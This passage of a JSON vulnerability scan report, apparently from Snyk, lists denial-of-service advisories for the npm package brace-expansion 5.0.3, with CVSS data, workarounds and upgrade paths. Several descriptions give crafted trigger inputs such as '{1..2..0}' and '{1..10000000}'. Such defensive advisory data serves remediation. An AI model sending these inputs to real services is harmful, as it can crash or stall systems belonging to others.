"5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": 